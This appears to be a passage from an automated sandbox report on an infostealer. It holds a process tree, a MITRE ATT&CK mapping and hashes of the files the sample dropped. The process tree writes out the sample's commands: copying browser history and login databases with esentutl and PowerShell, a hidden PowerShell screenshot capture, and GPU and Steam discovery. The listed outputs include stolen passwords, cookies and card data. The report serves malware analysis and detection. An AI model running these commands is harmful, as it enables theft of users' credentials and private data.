    esentutl /y "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite" /d "C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db" /vss
    3⤵
    PID:448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Copy-Item -Path 'C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\c3737wlq.default-release\places.sqlite' -Destination 'C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name /value
    3⤵
    - Detects videocard installed
    PID:2512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\reg.exe
    reg query "HKCU\Software\Valve\Steam" /v SteamPath
    3⤵
    PID:3996

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5032

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1384

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

All CreditCards.txt

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\All CreditCards.txt
Size 52B
SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
MD5 eac0eed4b0db3855bf9a24434a8ced20
SHA1 7e7a4763f275fc65fec810a855c25c1643790204
SHA512 e03bc29aee6adbb094c7af51cdb0a1f9c712c9ce813e15a6119d9b6b4f459584a083bf777836c27f5fe5cdadcb18d41fd830feb21584a9ddb9643d73e8fd7f03
MD5 SHA1 SHA512

Submit Download

temp_webdata_1783690604682.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\autofills\temp_webdata_1783690604682.db
Size 138KB
SHA256 03d38eddf7b34888c9b849a63bb2d1742a16986c3120a1aa6af87a1a3c03a036
MD5 d3b26b205af6f605a1e441af7e4a3061
SHA1 4b82d9eefa2090203f49a04ec7daabf499252c02
SHA512 5146cd132f67154b133cbb21bfc6e9658018ff8e4f71258001a3eb11330752796ae68ac0141d59bd53f8190c1fe7541be76fcd8c2ad682be77ef7aa5ae41ab47
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2O8zpX67qpjVum0wkP:zeuvBnhJsueMEGvIW1DcP2OADVum0nP
TLSH
T116D3874B3A747002EDE59A721CE051BF5E3C716D8F55A5D428B620688EF2853B23E4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_webdata_1783690605275.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\autofills\temp_webdata_1783690605275.db
Size 224KB
SHA256 2d8571ac33b06ca1bda8b4e494359e692e472987222f5de95eec25a12c853d1f
MD5 516351263bca6c138322eedfe8562bc4
SHA1 77dfdcb950444fec98ca242c05d380a112489aff
SHA512 31c1c26ba3b3f27daa67d049ae0fda61f9707b682004b642783424521232bc9e9f602200ff70559fc33c33151988f43e4c67048f4cbfb973b6d058a2a8567f21
SSDEEP 192:Vno3fT8wRJQnGL11HLfzNSivuvTNN+u/egddCeyv/hVRdbsCEV:C3fQ0JQn6lLfzAivuvBN+wtP2s
TLSH
T10E24540A7B787001DDE3D9725CB080771E3CA16ECF22A6815DB654694DB7853A23D8EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Firefox Developer (c3737wlq.default-release).txt

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\cookies\Firefox Developer (c3737wlq.default-release).txt
Size 29B
SHA256 d95cc9b596565532beaaacf8d8b00f3d5e9adcbc8c784a982ee6e96df9966e80
MD5 01bd65929767a79e75f04282fcbc35a8
SHA1 dc2a2b9e36179a52f363babb3486c9f772e837c0
SHA512 2fc72ec0857955087f2c116efb6fc2af0bdb61759afa31236271cfd1da1d5a287d5ff6c981da2a90cddb1bf458ff680814a8c3d3807ecf9b8126875422ed301c
MD5 SHA1 SHA512

Submit Download

Google Chrome (Default).txt

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\cookies\Google Chrome (Default).txt
Size 310B
SHA256 22eb7bfd1fff727ae0ba1223f6756710a162ae1c23baead8736edf4e4ec9039c
MD5 a3008bb6a85398886e674c4fa6e77063
SHA1 0ac8dfacc228b5635fa35094f9d970d7ee19c1d9
SHA512 9ca849cf32f9fb6e3baa655af80962dc2095d5b76a7db262c1de0ac4ddd786088c02f2c6ad9a54beb53ec25a631dc98164a9876e727b56f82f48af5b96249dad
TLSH
T1A7E02D0A5881A4E0CC40D0581022C2264DFA0A08C63DA621B00A27213C078121BCCC91
MD5 SHA1 SHA512 TLSH

Submit Download

All History.txt

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\history\All History.txt
Size 97B
SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
MD5 79f0f3f7be6a1e683fac2ac4d176e560
SHA1 60f35334945141e613cab278d52b848ba61b25ba
SHA512 e966ca3edc444172227a963b1b7cee712f424976823a3438d638594e81259fb169086dc5ab1c72f246e119c31bf4e6d0d3a7c9a5f48f282191a7ebf069c27b87
TLSH
T1EFB00295F0D9DD3A8118B155192057CC3C366B5ECAE17621108F02C8012F7A77A857C2
MD5 SHA1 SHA512 TLSH

Submit Download

All History.txt

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\history\All History.txt
Size 419B
SHA256 9b8db7c1b8cce130cf6858464db339367a27f2329ea19ed7a36a5d03cbf82936
MD5 83089596ce10304b56e2ef2a9cd86874
SHA1 f3316497b621543c9cf313ff13516f9008600017
SHA512 c7879077cb36c350a879d234742655d27c473ef88e9216b3e882ac5ac694f23122c000750a77091c6cbde102cfa5e6d95a039de7de923b22dbcfe303ff9a3928
TLSH
T1B2E01A6AF1C9C9761501E42249256AE165E0894C53D47118A3DD02D0235A3AF6ECF7C0
MD5 SHA1 SHA512 TLSH

Submit Download

temp_history_1783690604635.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\history\temp_history_1783690604635.db
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_history_1783690605275.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\history\temp_history_1783690605275.db
Size 204KB
SHA256 720685dd6ca97e57e27256ab84b17a2d72519d090a1e54b0196b06ea72e058ee
MD5 4d2ceadf82e4c90d4a69b9d5929b68fd
SHA1 f6e6c46c0bbe0daeb80f7d2033448e4c1fbc835b
SHA512 e30b33fbac285d3967015c3c7425248e6d6f94dd8196a8f749c4561f3c208773b3c94e84d8b95c9b671459a990bc85d0ccb37d814978f0b6935d59c850b8cef5
SSDEEP 96:B9HU+bGz83uxDLjGQLBK31NfR4J+MCXkFr+MFcjtk4Q9/2jdEbjBHMsDETbiIqOp:B90+G83uxXBBK31GkSJYEJH7DNspU
TLSH
T1D414EF0E5F343722CDBD817669E644A35D7CF03F8B5366DA686114B4CEE3652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_login_1783690604682.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\passwords\temp_login_1783690604682.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_login_1783690605275.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\passwords\temp_login_1783690605275.db
Size 56KB
SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
MD5 fe8c5fb9ed4218996d10e03d7f45f1ec
SHA1 e394d2de480259243fde14f8ecbf7682f7c845e5
SHA512 66f8bc3f3f092a9395f079ff000acf492ca96d51790c1265ac2e555a771fe2705b20e12a964884f27d333649c6a003a2a473dae74107b51730c0cf2d737dd46e
SSDEEP 96:dpfmG38t8KLPeymO7CGr8M5bn8MouB6w9fUPetSEPfNy:dpD07CGr8MV7Iw9f1N
TLSH
T1DA43771F1B682802CC698632ACB194F36F7CA13F8F539E922CB444359D75862B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_cookies.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db
Size 20KB
SHA256 45281f20caaddc398ea2338e294561b6c9d998a2828ef090e80a197ebe5d0fe4
MD5 57d3868bfef9ed6347ca068a1e4f1272
SHA1 2e42e312b0cbfb4ebb2a657804b3b9046f0954f8
SHA512 864261794f81f236589a760868814eeb2efe1479797decb2f164e60edf8f3f080a6e0e6e996789d4916f6a36e954f4b9e44a707c24389e7f287cee1ff5ab335d
SSDEEP 24:TLyW91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBNd5KP+YrJ7HzSmPCVoBij:TeW9aw/aHLopFMavU1iBNHIrZH+JVR
TLSH
T11592008E1F303224C0F8473AF9D6485A2E7C111C9323AA9AED8064B39CC699BF5051E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_cookies.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db
Size 96KB
SHA256 33a2357af8dc03cc22d2b7ce5c90abf25ac8b40223155a516f1a8df4acbf2a53
MD5 6066c07e98c96795ecd876aa92fe10f8
SHA1 f73cbd7b307c53aaae38677d6513b1baa729ac9f
SHA512 7d76207c1c6334aa98f79c325118adf03a5ba36b1e2412803fd3e654a9d3630c775f32a98855c46342eba00d4a8496a3ded3686e74beaac9c216beee37aa5cb7
SSDEEP 12:DQnD+23Fmdmc/OPVJXfPNn43etRRfYR5O8atLwxeYaNcDakMG/lO:DQnS232mNVpP965RayKN0MG/lO
TLSH
T192A3DD826B781395C44701B2FCB0565E0D3CA23849272B55AC39B0B30CD6A438A329FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_cookies.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_cookies.db
Size 20KB
SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
MD5 7696a61462ad640aba1171c8c42f837d
SHA1 4b1efd332c87a107f7b72f71e4b88af6c7994e05
SHA512 4b9849565bdb051e85ce777cc950516fa73b8beb75d54cb794a536176e9c239c5ec46de257c01b028924579d94ef7ddba31872ab244d4c2f999000814437e8a0
SSDEEP 24:TLZLbXYFpFNYbatqn1kweka6za6UwpQ9YH8PATZ6HfB:T9LopFMatSaw/auUOt8B
TLSH
T1F4928A4E5F346220C0F44B36EDD189672F7C212CD3A72699DE1420F3DE925ABF1095AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp_history.db

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\browser_data\temp_history.db
Size 5.0MB
SHA256 ff30ceb83cb963ba5963fc85d2a0e034ff4717988e2080e8ae5e3fa43ff5aaec
MD5 21cfe0dfb34f632f023eb343a67d8878
SHA1 20a3ab50c683937a621ce545b95f12b3ab2d973e
SHA512 5333e2894a19bec2e60a9e7555907698d406c59ff7d2dd3da5996a54950b80969cb7e6dff0f0513bd43e0697782d15c364cb68f7e2ed454f4df00b580169237e
SSDEEP 192:M8rJQaXoMXp0VW9FxWHZuskIZ/AiT9sUZm:M8r54w0VW3xW5fod
TLSH
T14736F11F6A605150C4E9A132ADE35F191C3FB0178A3676933ED4256E4DE0B12B93DCBB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

k39j99dgpyl.zip

Path C:\Users\Admin\AppData\Local\3dce3729e5c09d4b\k39j99dgpyl.zip
Size 4KB
SHA256 0daa883c4ad7d1a453e9dc077a6d9373f4782ee4759acfe76749859857785b2a
MD5 eb2ffc7b4625104a22e26b3ea9794c68
SHA1 38a8252ad2d5d2f954d6dd4c32f093c5458d994e
SHA512 2eaafa941d9148f7a0f24f66db1a4e6e0bdb8f397cf3b835d1a809487f5f179566067db740c542702084dce5b7e0a16a62c6da3d55e6f76de642708e27c76a44
SSDEEP 48:9kAwCDzQlQWQf0QhQH8suRMZWzx4+pf4CpTKKq3UJn01t4CBM+NxTJ7Hvsx0icHk:bw8Q8/ZDwB/7Nv/H8amiMx
TLSH
T12991BB3C73EDD846D421D233A4212A0B51C5969FC2C6B01F768221AC66BB3B3F787782
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 dd16566ab212783e890f0f99ec0b0c501fe85b02aa0ad98f5f9d91ff9080af9d
MD5 e658fc871c669b740efbcf9672996959
SHA1 e465bea74f7a594b5f04633332f03e7bdfb71f76
SHA512 d1d7a7fec050718614f9fe88b7f9be07ca2f5280f7605f1ae456ab61f58a69090511ba38cbeb66064ca3c23104d8dcef1732672238b5ac29634a8c50025a39b4
SSDEEP 96:iq4uYqGEo9xx+incqKXqntzYfqCYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXqntzYfqRWq2Iz+wx
TLSH
T1E191EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download